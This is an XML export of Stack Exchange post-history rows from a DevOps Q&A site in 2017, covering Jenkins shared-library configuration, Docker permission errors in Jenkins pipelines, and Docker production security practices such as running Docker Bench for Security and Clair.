  <row Id="6100" PostHistoryTypeId="2" PostId="1935" RevisionGUID="224b6115-72ec-4864-82cb-d689e14abc22" CreationDate="2017-09-06T11:01:47.287" UserId="4227" Text="Right now we have many projects with similar Jenkinsfile's. Instead of *copypasting* we're developing a shared library with some utilities. This library is loaded dynamically in each Jenkinsfile, and has some parameters that repeat among calls. For example, an utility has a custom Slack message posting function, and the **channel**, **bot token**, and some **fixed text** are always the same.&#xD;&#xA;&#xD;&#xA;Instead of providing those parameters to every call to this Slack function we have thought of making a config file and loading it globally at the beginning with all these *&quot;constant&quot;* parameters.&#xD;&#xA;&#xD;&#xA;We tried putting a `config.json` and using the readJSON step like this:&#xD;&#xA;&#xD;&#xA;    def load(path) {&#xD;&#xA;        env.CONFIGURATION =  readJSON(file: path)&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;So the CONFIGURATION is an environment variable and so it's global. The problem is that it seems that environment variables can only be strings, so the JSON is broken (we cannot do `env.CONFIGURATION.slack.channel` for example)&#xD;&#xA;&#xD;&#xA;We tried the following also in **Jenkinsfile**:&#xD;&#xA;&#xD;&#xA;    def CONFIG = readJSON(file: path)&#xD;&#xA;&#xD;&#xA;But CONFIG then is not visible inside the library scripts.&#xD;&#xA;&#xD;&#xA;So now, the questions:&#xD;&#xA;&#xD;&#xA; 1. Is our approach correct? Putting all common config in one file and&#xD;&#xA;    loading it for the library scripts to see.&#xD;&#xA;    &#xD;&#xA; 2. If it's not correct, how would you deal with our problem? Simply&#xD;&#xA;    passing the config as parameter on every call and that's all?&#xD;&#xA;&#xD;&#xA;Thanks in advance for your help." ContentLicense="CC BY-SA 3.0" />
  <row Id="6101" PostHistoryTypeId="1" PostId="1935" RevisionGUID="224b6115-72ec-4864-82cb-d689e14abc22" CreationDate="2017-09-06T11:01:47.287" UserId="4227" Text="Jenkins libraries configuration in Jenkinsfile" ContentLicense="CC BY-SA 3.0" />
  <row Id="6102" PostHistoryTypeId="3" PostId="1935" RevisionGUID="224b6115-72ec-4864-82cb-d689e14abc22" CreationDate="2017-09-06T11:01:47.287" UserId="4227" Text="&lt;jenkins&gt;&lt;jenkinsfile&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6107" PostHistoryTypeId="2" PostId="1937" RevisionGUID="e0e0a3b3-9d5b-4425-be22-a03437611cfb" CreationDate="2017-09-06T12:14:23.200" UserId="4230" Text="I installed Jenkins on an Ubuntu 16.04 machine. The Jenkins itself is not run in a container. What I want to do is simply call `yarn install` using a node image. So here is my Jenkinsfile:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent any&#xD;&#xA;        stages {&#xD;&#xA;            stage('install node modules...') {&#xD;&#xA;                agent { docker 'node' }&#xD;&#xA;                steps {&#xD;&#xA;                    sh 'cd /path/to/package.json; yarn install'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Pretty straightforward, right?&#xD;&#xA;&#xD;&#xA;jenkins user/group is `112:116`, and the uid of the node container is `1000`, hence yarn process (which is run as node user 1000) can't do its things, like `mkdir /.config`.&#xD;&#xA;&#xD;&#xA;I tried to spin up the node container passing in argument `-u 1000`, it bumped into permission issues when trying to create durable directories.&#xD;&#xA;&#xD;&#xA;It looks like one or the other kind of issue, how can I work around that?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6108" PostHistoryTypeId="1" PostId="1937" RevisionGUID="e0e0a3b3-9d5b-4425-be22-a03437611cfb" CreationDate="2017-09-06T12:14:23.200" UserId="4230" Text="Jenkins: Permission issue using Docker as build environment" ContentLicense="CC BY-SA 3.0" />
  <row Id="6109" PostHistoryTypeId="3" PostId="1937" RevisionGUID="e0e0a3b3-9d5b-4425-be22-a03437611cfb" CreationDate="2017-09-06T12:14:23.200" UserId="4230" Text="&lt;jenkins&gt;&lt;docker&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6116" PostHistoryTypeId="2" PostId="1939" RevisionGUID="6ff14dd0-9c3b-4483-86ab-bdebfd0e913b" CreationDate="2017-09-06T14:09:53.113" UserId="2845" Text="It seems you have missed DNS. First, don't reference the device by IP, instead use a FQDN. If you need, you can set an entry for 192.168.99.100 in /etc/hosts for now. Secondly, type &quot;hostname&quot; on the node and verify it does not return &quot;localhost&quot; (it likely will). Then type &quot;hostnamectl set-hostname newhostname.fullyqualified.com&quot; and then [regenerate and re-sign the certificate.](https://kubernetes.io/docs/tasks/tls/managing-tls-in-a-cluster/)" ContentLicense="CC BY-SA 3.0" />
  <row Id="6117" PostHistoryTypeId="2" PostId="1940" RevisionGUID="e0e3345d-d6c0-4094-ace7-bfb53335d0b4" CreationDate="2017-09-06T18:14:21.287" UserId="4234" Text="I am new to DevOps, started learning the different tools.&#xD;&#xA;I would like to practice all of the tools like Jenkins, Chef, GIT, Puppet, Ansible, Docker, Kubernetes, etc .&#xD;&#xA;&#xD;&#xA;My question is If I would like to practice all of the tools on AWS Free tier Instances &#xD;&#xA;How many of them are needed? and&#xD;&#xA;which tools I can combine them and install on which instances ?&#xD;&#xA;&#xD;&#xA;Please help me in this regard. " ContentLicense="CC BY-SA 3.0" />
  <row Id="6118" PostHistoryTypeId="1" PostId="1940" RevisionGUID="e0e3345d-d6c0-4094-ace7-bfb53335d0b4" CreationDate="2017-09-06T18:14:21.287" UserId="4234" Text="DevOps practice on AWS instances." ContentLicense="CC BY-SA 3.0" />
  <row Id="6119" PostHistoryTypeId="3" PostId="1940" RevisionGUID="e0e3345d-d6c0-4094-ace7-bfb53335d0b4" CreationDate="2017-09-06T18:14:21.287" UserId="4234" Text="&lt;jenkins&gt;&lt;docker&gt;&lt;amazon-ec2&gt;&lt;chef&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6120" PostHistoryTypeId="2" PostId="1941" RevisionGUID="cc0578e7-22af-4999-8e4f-63a75393d443" CreationDate="2017-09-06T18:18:45.853" UserId="4233" Text="I looked for that too but I don't think you can as these are the ports used by Google to do LB:&#xD;&#xA;&#xD;&#xA;&gt; HTTP requests can be load balanced based on port 80 or port 8080. HTTPS requests can be load balanced on port 443.&#xD;&#xA;&#xD;&#xA;&gt; TCP Proxy Load Balancing supports the following ports: 25, 43, 110, 143, 195, 443, 465, 587, 700, 993, 995, 1883, 5222&#xD;&#xA;&#xD;&#xA;From: [GCP HTTP(S) LB][1] and [GCP TCP LB][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/compute/docs/load-balancing/http/&#xD;&#xA;  [2]: https://cloud.google.com/compute/docs/load-balancing/tcp-ssl/tcp-proxy" ContentLicense="CC BY-SA 3.0" />
  <row Id="6121" PostHistoryTypeId="2" PostId="1942" RevisionGUID="6e01a9cb-4425-4c06-97da-aee02abc041f" CreationDate="2017-09-06T18:35:35.410" UserId="62" Text="You should look at [Global Shared Libraries](https://jenkins.io/doc/book/pipeline/shared-libraries/#global-shared-libraries), which will allow you to reuse logic across different Jenkinsfiles.&#xD;&#xA;&#xD;&#xA;Rather than depending on the environment, it's probably safer to explicitly pass parameters and returns values from the functions, which will make their behavior more explicit. Another side benefit is that you will be able to [unit test](https://github.com/lesfurets/JenkinsPipelineUnit) them using " ContentLicense="CC BY-SA 3.0" />
  <row Id="6125" PostHistoryTypeId="2" PostId="1943" RevisionGUID="4eecc38f-3bca-4689-91f3-464e93f6bbd1" CreationDate="2017-09-07T05:16:48.140" UserId="707" Text="Finally, you are so much in love with Docker that you want to move your online business-critical production systems with sensitive customer data to a Docker Swarm. :-9 Some might even already have done so. The other organization can't afford it by a policy forbidding production processes running in root mode.&#xD;&#xA;&#xD;&#xA;Now, what could be a checklist of meaningful building blocks to consider for your Docker production envronment? You might **not** need all of them, but all of them should be important to assess.&#xD;&#xA;&#xD;&#xA;*Disclaimer: I know there is a SE policy to avoid &quot;large endless lists&quot; but I think this checklist cannot be very big... and endless noway.*&#xD;&#xA;&#xD;&#xA;So - what are these buildings blocks?&#xD;&#xA;&#xD;&#xA;1. If not already deployed, consider running a Linux host system with advanced &#xD;&#xA;    security settings - hardened kernel, SELinux etc.&#xD;&#xA;2. Consider using a tiny Docker base image, like alpine, busybox or even scratch e.g. start with an empty base image&#xD;&#xA;3. Use USER setting other than root &#xD;&#xA;4. Carefully assess to further reduce the already shrinked set of kernel capabilities granted to container&#xD;&#xA;5. Consider having only one executable binary per container to launch your process, ideally statically linked&#xD;&#xA;6. Those who want to break your system to get a shell access might wonder if they found out your container has all shells disabled&#xD;&#xA;7. Mount read-only volumes where only possible&#xD;&#xA;&#xD;&#xA;**Question: what else?**&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6126" PostHistoryTypeId="1" PostId="1943" RevisionGUID="4eecc38f-3bca-4689-91f3-464e93f6bbd1" CreationDate="2017-09-07T05:16:48.140" UserId="707" Text="Docker in production - best and comprehensive practices to consder" ContentLicense="CC BY-SA 3.0" />
  <row Id="6127" PostHistoryTypeId="3" PostId="1943" RevisionGUID="4eecc38f-3bca-4689-91f3-464e93f6bbd1" CreationDate="2017-09-07T05:16:48.140" UserId="707" Text="&lt;docker&gt;&lt;security&gt;&lt;devsecops&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6128" PostHistoryTypeId="2" PostId="1944" RevisionGUID="2ad5b787-7561-41f9-9e64-93da48e47fbe" CreationDate="2017-09-07T05:25:35.953" UserId="707" Text="An evocative learning about innovative disruptive technology is that you might find out that **not** everybody is going to be excited about tools which can give you more productivity.&#xD;&#xA;&#xD;&#xA;To make this question less generic, what are do's and dont's - so as they also say, *lessons learned* - of evangelizing Docker in your organization based on real experiences with different roles?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6129" PostHistoryTypeId="1" PostId="1944" RevisionGUID="2ad5b787-7561-41f9-9e64-93da48e47fbe" CreationDate="2017-09-07T05:25:35.953" UserId="707" Text="Evangelization of Docker/DevOps and dealing with low acceptance" ContentLicense="CC BY-SA 3.0" />
  <row Id="6130" PostHistoryTypeId="3" PostId="1944" RevisionGUID="2ad5b787-7561-41f9-9e64-93da48e47fbe" CreationDate="2017-09-07T05:25:35.953" UserId="707" Text="&lt;docker&gt;&lt;culture&gt;&lt;transformation&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6132" PostHistoryTypeId="2" PostId="1945" RevisionGUID="8328f3d7-3ffe-4ed4-b787-b89b1596d75a" CreationDate="2017-09-07T07:32:39.130" UserId="503" Text="The good news for your question is that all of these tools can be played with on one free tier instance in AWS.&#xD;&#xA;&#xD;&#xA;Using Docker/K8's, which it seems you want to learn as well, you'll be able to run all of the other tools that you want to learn as containers on that one host which should have enough grunt to allow you to play around." ContentLicense="CC BY-SA 3.0" />
  <row Id="6133" PostHistoryTypeId="2" PostId="1946" RevisionGUID="bc60eaa0-bc0d-4405-80f6-b2cd11a9d47d" CreationDate="2017-09-07T08:12:33.183" UserId="210" Text="run the docker security bench on every node that runs docker containers https://github.com/docker/docker-bench-security" ContentLicense="CC BY-SA 3.0" />
  <row Id="6134" PostHistoryTypeId="2" PostId="1947" RevisionGUID="fa025216-b3d8-4e1b-a1ee-dd0baa2d120f" CreationDate="2017-09-07T08:15:08.847" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="6135" PostHistoryTypeId="1" PostId="1947" RevisionGUID="fa025216-b3d8-4e1b-a1ee-dd0baa2d120f" CreationDate="2017-09-07T08:15:08.847" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6136" PostHistoryTypeId="2" PostId="1948" RevisionGUID="2de8b176-b035-4293-823e-526de8c3bf93" CreationDate="2017-09-07T08:15:08.847" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="6137" PostHistoryTypeId="1" PostId="1948" RevisionGUID="2de8b176-b035-4293-823e-526de8c3bf93" CreationDate="2017-09-07T08:15:08.847" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6138" PostHistoryTypeId="2" PostId="1949" RevisionGUID="c660ddfc-0831-440b-95d2-e29f0e4c13ae" CreationDate="2017-09-07T08:18:10.397" UserId="210" Text="A couple of months ago I gave a presentation about the pros and cons about docker. My expectation was that the developers would start to use tool immediately after the presentation, but it took a couple of months. It turned out that a (huge) problem was required in order to get it accepted by the team members:&#xD;&#xA;&#xD;&#xA;&gt; There a six services at the moment that all run in vagrant. My system&#xD;&#xA;&gt; is unable to handle it anymore. Shall we use docker? You addressed in&#xD;&#xA;&gt; your presentation that it omits an OS, that it is more lightweight&#xD;&#xA;&gt; compared to a VM so the machine will consume less resources and I will&#xD;&#xA;&gt; be able to run the services locally right?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6139" PostHistoryTypeId="4" PostId="1943" RevisionGUID="db577784-d04e-4ee4-9e04-be4fa1862a8c" CreationDate="2017-09-07T08:18:43.553" UserId="210" Comment="edited title" Text="Docker in production - best and comprehensive practices to consider" ContentLicense="CC BY-SA 3.0" />
  <row Id="6140" PostHistoryTypeId="5" PostId="1949" RevisionGUID="a1067ad4-375e-4605-90c0-4d5b1ce125b2" CreationDate="2017-09-07T08:23:16.383" UserId="210" Comment="added 110 characters in body" Text="A couple of months ago I gave a presentation about the pros and cons about docker. My expectation was that the developers would start to use tool immediately after the presentation, but it took a couple of months. It turned out that a (huge) problem was required in order to get it accepted by the team members:&#xD;&#xA;&#xD;&#xA;&gt; There a six services at the moment that all run in vagrant. My system&#xD;&#xA;&gt; is unable to handle it anymore. Shall we use docker? You addressed in&#xD;&#xA;&gt; your presentation that it omits an OS, that it is more lightweight&#xD;&#xA;&gt; compared to a VM so the machine will consume less resources and I will&#xD;&#xA;&gt; be able to run the services locally right?&#xD;&#xA;&#xD;&#xA;When it turned out that the services were now able to run, more and more developers started to use docker." ContentLicense="CC BY-SA 3.0" />
  <row Id="6141" PostHistoryTypeId="5" PostId="1948" RevisionGUID="b8010b85-befe-4197-a105-1bcadc2f7f0a" CreationDate="2017-09-07T08:29:31.263" UserId="210" Comment="added 66 characters in body" Text="If a question is about DevOps and Security this tag could be used." ContentLicense="CC BY-SA 3.0" />
  <row Id="6142" PostHistoryTypeId="24" PostId="1948" RevisionGUID="b8010b85-befe-4197-a105-1bcadc2f7f0a" CreationDate="2017-09-07T08:29:31.263" Comment="Proposed by 210 approved by -1 edit id of 432" ContentLicense="CC BY-SA 3.0" />
  <row Id="6143" PostHistoryTypeId="5" PostId="1948" RevisionGUID="d5041ab6-c7ca-48fe-b5fe-8ac5d8607b8b" CreationDate="2017-09-07T08:29:31.263" UserId="13" Comment="deleted 13 characters in body" Text="Use this tag for questions about DevOps and Security " ContentLicense="CC BY-SA 3.0" />
  <row Id="6144" PostHistoryTypeId="5" PostId="1946" RevisionGUID="902ed872-49cd-4e8a-acbe-23714efff407" CreationDate="2017-09-07T08:34:05.557" UserId="210" Comment="added 355 characters in body" Text="run the docker security bench on every node that runs docker containers https://github.com/docker/docker-bench-security&#xD;&#xA;&#xD;&#xA;    docker run -it --net host --pid host --cap-add audit_control \&#xD;&#xA;        -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \&#xD;&#xA;        -v /var/lib:/var/lib \&#xD;&#xA;        -v /var/run/docker.sock:/var/run/docker.sock \&#xD;&#xA;        -v /usr/lib/systemd:/usr/lib/systemd \&#xD;&#xA;        -v /etc:/etc --label docker_bench_security \&#xD;&#xA;        docker/docker-bench-security" ContentLicense="CC BY-SA 3.0" />
  <row Id="6145" PostHistoryTypeId="5" PostId="1946" RevisionGUID="0c7f2fa4-2ddc-4c30-9bb5-3c6b3afdbe74" CreationDate="2017-09-07T08:39:53.580" UserId="210" Comment="added 355 characters in body" Text="run the docker security bench on every node that runs docker containers https://github.com/docker/docker-bench-security&#xD;&#xA;&#xD;&#xA;Running the following command on a node that runs docker containers:&#xD;&#xA;&#xD;&#xA;    docker run -it --net host --pid host --cap-add audit_control \&#xD;&#xA;        -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \&#xD;&#xA;        -v /var/lib:/var/lib \&#xD;&#xA;        -v /var/run/docker.sock:/var/run/docker.sock \&#xD;&#xA;        -v /usr/lib/systemd:/usr/lib/systemd \&#xD;&#xA;        -v /etc:/etc --label docker_bench_security \&#xD;&#xA;        docker/docker-bench-security&#xD;&#xA;&#xD;&#xA;returns a list of checks:&#xD;&#xA;&#xD;&#xA;    [INFO] 1 - Host Configuration&#xD;&#xA;    &#xD;&#xA;    [WARN] 1.1  - Ensure a separate partition for containers has been created&#xD;&#xA;    &#xD;&#xA;    [NOTE] 4.2  - Ensure that containers use trusted base images&#xD;&#xA;    &#xD;&#xA;    [PASS] 4.6  - Ensure HEALTHCHECK instructions have been added to the container image" ContentLicense="CC BY-SA 3.0" />
  <row Id="6146" PostHistoryTypeId="5" PostId="1946" RevisionGUID="5b4418c0-3b1d-4952-8d11-27af6c8462cc" CreationDate="2017-09-07T08:43:48.487" UserId="13" Comment="added 395 characters in body" Text="run the docker security bench on every node that runs docker containers https://github.com/docker/docker-bench-security&#xD;&#xA;&#xD;&#xA;Running the following command on a node that runs docker containers:&#xD;&#xA;&#xD;&#xA;    docker run -it --net host --pid host --cap-add audit_control \&#xD;&#xA;        -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \&#xD;&#xA;        -v /var/lib:/var/lib \&#xD;&#xA;        -v /var/run/docker.sock:/var/run/docker.sock \&#xD;&#xA;        -v /usr/lib/systemd:/usr/lib/systemd \&#xD;&#xA;        -v /etc:/etc --label docker_bench_security \&#xD;&#xA;        docker/docker-bench-security&#xD;&#xA;&#xD;&#xA;returns a list of checks:&#xD;&#xA;&#xD;&#xA;    [INFO] 1 - Host Configuration&#xD;&#xA;    &#xD;&#xA;    [WARN] 1.1  - Ensure a separate partition for containers has been created&#xD;&#xA;    &#xD;&#xA;    [NOTE] 4.2  - Ensure that containers use trusted base images&#xD;&#xA;    &#xD;&#xA;    [PASS] 4.6  - Ensure HEALTHCHECK instructions have been added to the container image&#xD;&#xA;&#xD;&#xA;Quote from the repository README:&#xD;&#xA;&#xD;&#xA;&gt; The Docker Bench for Security is a script that checks for dozens of&#xD;&#xA;&gt; common best-practices around deploying Docker containers in&#xD;&#xA;&gt; production. The tests are all automated, and are inspired by the [CIS&#xD;&#xA;&gt; Docker Community Edition Benchmark&#xD;&#xA;&gt; v1.1.0](https://benchmarks.cisecurity.org/tools2/docker/CIS_Docker_Community_Edition_Benchmark_v1.1.0.pdf)." ContentLicense="CC BY-SA 3.0" />
  <row Id="6147" PostHistoryTypeId="2" PostId="1950" RevisionGUID="db461f81-6d94-4249-b493-c47a302954d5" CreationDate="2017-09-07T09:28:11.800" UserId="210" Text="An additional option is to use [Clair][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Clair is an open source project for the static analysis of&#xD;&#xA;&gt; vulnerabilities in application containers (currently including appc&#xD;&#xA;&gt; and docker).&#xD;&#xA;&gt; &#xD;&#xA;&gt;     In regular intervals, Clair ingests vulnerability metadata from a configured set of sources and stores it in the database.&#xD;&#xA;&gt;     Clients use the Clair API to index their container images; this creates a list of features present in the image and stores them in the&#xD;&#xA;&gt; database.&#xD;&#xA;&gt;     Clients use the Clair API to query the database for vulnerabilities of a particular image; correlating vulnerabilities and&#xD;&#xA;&gt; features is done for each request, avoiding the need to rescan images.&#xD;&#xA;&gt;     When updates to vulnerability metadata occur, a notification can be sent to alert systems that a change has occured.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Our goal is to enable a more transparent view of the security of&#xD;&#xA;&gt; container-based infrastructure. Thus, the project was named Clair&#xD;&#xA;&gt; after the French term which translates to clear, bright, transparent.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/coreos/clair" ContentLicense="CC BY-SA 3.0" />
  <row Id="6148" PostHistoryTypeId="5" PostId="1943" RevisionGUID="9db5c212-e010-4296-9af8-79e1cd2f1017" CreationDate="2017-09-07T10:08:18.453" UserId="210" Comment="deleted 4 characters in body" Text="Finally, you are so much in love with Docker that you want to move your online business-critical production systems with sensitive customer data to a Docker Swarm. Some might even already have done so. The other organization can't afford it by a policy forbidding production processes running in root mode.&#xD;&#xA;&#xD;&#xA;Now, what could be a checklist of meaningful building blocks to consider for your Docker production envronment? You might **not** need all of them, but all of them should be important to assess.&#xD;&#xA;&#xD;&#xA;*Disclaimer: I know there is a SE policy to avoid &quot;large endless lists&quot; but I think this checklist cannot be very big... and endless noway.*&#xD;&#xA;&#xD;&#xA;So - what are these buildings blocks?&#xD;&#xA;&#xD;&#xA;1. If not already deployed, consider running a Linux host system with advanced &#xD;&#xA;    security settings - hardened kernel, SELinux etc.&#xD;&#xA;2. Consider using a tiny Docker base image, like alpine, busybox or even scratch e.g. start with an empty base image&#xD;&#xA;3. Use USER setting other than root &#xD;&#xA;4. Carefully assess to further reduce the already shrinked set of kernel capabilities granted to container&#xD;&#xA;5. Consider having only one executable binary per container to launch your process, ideally statically linked&#xD;&#xA;6. Those who want to break your system to get a shell access might wonder if they found out your container has all shells disabled&#xD;&#xA;7. Mount read-only volumes where only possible&#xD;&#xA;&#xD;&#xA;**Question: what else?**&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6149" PostHistoryTypeId="2" PostId="1951" RevisionGUID="20b18413-9199-4fc5-b284-c56818901c07" CreationDate="2017-09-07T10:27:48.933" UserId="210" Text="Reading [the official docker security article][1] and comparing it with the bullets that are defined in the question the following things are important as well:&#xD;&#xA;&#xD;&#xA; * protect the docker daemon socket by implementing ssl&#xD;&#xA; * content trust using notary and `DOCKER_CONTENT_TRUST` variable&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/security/security/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6150" PostHistoryTypeId="4" PostId="1943" RevisionGUID="1b8b39c5-9c77-4db1-9898-fcd8bee3c2dd" CreationDate="2017-09-07T10:28:29.740" UserId="210" Comment="edited title" Text="What are best and comprehensive practices to consider when running docker in production?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6151" PostHistoryTypeId="5" PostId="1937" RevisionGUID="ffcdfde2-7c19-440e-90bc-febd65a71c28" CreationDate="2017-09-07T11:33:52.890" UserId="4230" Comment="Add the logs" Text="I installed Jenkins on an Ubuntu 16.04 machine. The Jenkins itself is not run in a container. What I want to do is simply call `yarn install` using a node image. So here is my Jenkinsfile:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent any&#xD;&#xA;        stages {&#xD;&#xA;            stage('install node modules...') {&#xD;&#xA;                agent { docker 'node' }&#xD;&#xA;                steps {&#xD;&#xA;                    sh 'cd /path/to/package.json; yarn install'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Pretty straightforward, right?&#xD;&#xA;&#xD;&#xA;jenkins user/group is `112:116`, and the uid of the node container is `1000`, hence yarn process (which is run as node user 1000) can't do its things, like `mkdir /.config`.&#xD;&#xA;&#xD;&#xA;I tried to spin up the node container passing in argument `-u 1000`, it bumped into permission issues when trying to create durable directories.&#xD;&#xA;&#xD;&#xA;It looks like one or the other kind of issue, how can I work around that?&#xD;&#xA;&#xD;&#xA;Jenkins logs:&#xD;&#xA;&#xD;&#xA;Below is where the build starts and fails.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    [Pipeline] sh&#xD;&#xA;    [Pipeline_Test_Jenkins_test-4JTFYMX7KSJY6ZH44VINNGEB7WH2D2HWYZN5ABF6O32O2HBQJYXQ@2] Running shell script&#xD;&#xA;    + docker inspect -f . node&#xD;&#xA;    .&#xD;&#xA;    [Pipeline] withDockerContainer&#xD;&#xA;    Jenkins does not seem to be running inside a container&#xD;&#xA;    $ docker run -t -d -u 112:116 -w /var/lib/jenkins/workspace/Pipeline_Test_Jenkins_test-4JTFYMX7KSJY6ZH44VINNGEB7WH2D2HWYZN5ABF6O32O2HBQJYXQ@2 -v /var/lib/jenkins/workspace/Pipeline_Test_Jenkins_test-4JTFYMX7KSJY6ZH44VINNGEB7WH2D2HWYZN5ABF6O32O2HBQJYXQ@2:/var/lib/jenkins/workspace/Pipeline_Test_Jenkins_test-4JTFYMX7KSJY6ZH44VINNGEB7WH2D2HWYZN5ABF6O32O2HBQJYXQ@2:rw,z -v /var/lib/jenkins/workspace/Pipeline_Test_Jenkins_test-4JTFYMX7KSJY6ZH44VINNGEB7WH2D2HWYZN5ABF6O32O2HBQJYXQ@2@tmp:/var/lib/jenkins/workspace/Pipeline_Test_Jenkins_test-4JTFYMX7KSJY6ZH44VINNGEB7WH2D2HWYZN5ABF6O32O2HBQJYXQ@2@tmp:rw,z -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** --entrypoint cat node&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] sh&#xD;&#xA;    [Pipeline_Test_Jenkins_test-4JTFYMX7KSJY6ZH44VINNGEB7WH2D2HWYZN5ABF6O32O2HBQJYXQ@2] Running shell script&#xD;&#xA;    + cd /path/to/package.json&#xD;&#xA;    + yarn install&#xD;&#xA;    yarn install v0.24.6&#xD;&#xA;    error An unexpected error occurred: &quot;EACCES: permission denied, mkdir '/.config'&quot;.&#xD;&#xA;    info If you think this is a bug, please open a bug report with the information provided in &quot;/var/lib/jenkins/workspace/Pipeline_Test_Jenkins_test-4JTFYMX7KSJY6ZH44VINNGEB7WH2D2HWYZN5ABF6O32O2HBQJYXQ@2/&lt;path&gt;/yarn-error.log&quot;.&#xD;&#xA;    info Visit https://yarnpkg.com/en/docs/cli/install for documentation about this command.&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    $ docker stop --time=1 c1147934ea689f71a449e486282db03338b12182368def31bdf8e8cf179ab46a&#xD;&#xA;    $ docker rm -f c1147934ea689f71a449e486282db03338b12182368def31bdf8e8cf179ab46a&#xD;&#xA;    [Pipeline] // withDockerContainer&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // node&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // stage&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // node&#xD;&#xA;    [Pipeline] End of Pipeline&#xD;&#xA;    ERROR: script returned exit code 1&#xD;&#xA;    Finished: FAILURE&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6153" PostHistoryTypeId="2" PostId="1952" RevisionGUID="25d88f40-5575-43a5-8d00-a172408a125d" CreationDate="2017-09-07T12:42:20.963" UserId="4247" Text="**Docker is still in development.**&#xD;&#xA;&#xD;&#xA;As with every other software in-dev bugs will happen, insecure features might be added, there could be architectural flaws that lead to security breaches. Do not underestimate this! Your system might be completely safe today, but with the patch from next week someone finds a bug, writes an exploit, and suddenly your system is wide open.&#xD;&#xA;&#xD;&#xA;Unless you must, don't update to the latest version. Use the latest well-tested version instead.&#xD;&#xA;&#xD;&#xA;**Docker is no virtualization**&#xD;&#xA;&#xD;&#xA;If someone escapes from a Docker container, that attacker is on the real machine immediately. There is no second gate like virtualization that will prevent a breach.&#xD;&#xA;&#xD;&#xA;Threat a Docker container like any other program. Run with lowest possible user rights, block all network traffic that isn't required, virtualize the entire Docker host if performance allows.&#xD;&#xA;&#xD;&#xA;**Docker is no protection**&#xD;&#xA;&#xD;&#xA;Whatever code is run inside Docker containers is run without question from Docker. Any attacker can simply install his software inside the container, and Docker would run that like any other code.&#xD;&#xA;&#xD;&#xA;Aside from the things you mentioned in the question, consider using metrics and alerts to get notified if any Docker image is doing strange things. Is there a sudden, ongoing CPU spike? Is the program suddenly scanning network ports? Is there suspicious disk access? You should get a notification if any of that happens. There are many tools available to measure these things, you should use them." ContentLicense="CC BY-SA 3.0" />
  <row Id="6154" PostHistoryTypeId="2" PostId="1953" RevisionGUID="b688c31d-2b5a-4abb-a349-3bdc35bd9850" CreationDate="2017-09-07T12:46:09.167" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="6155" PostHistoryTypeId="1" PostId="1953" RevisionGUID="b688c31d-2b5a-4abb-a349-3bdc35bd9850" CreationDate="2017-09-07T12:46:09.167" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6156" PostHistoryTypeId="2" PostId="1954" RevisionGUID="803efd19-5eac-4689-8529-0f70241ab3e5" CreationDate="2017-09-07T12:46:09.167" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="6157" PostHistoryTypeId="1" PostId="1954" RevisionGUID="803efd19-5eac-4689-8529-0f70241ab3e5" CreationDate="2017-09-07T12:46:09.167" UserId="-1" ContentLicense="CC BY-SA 3.0" />
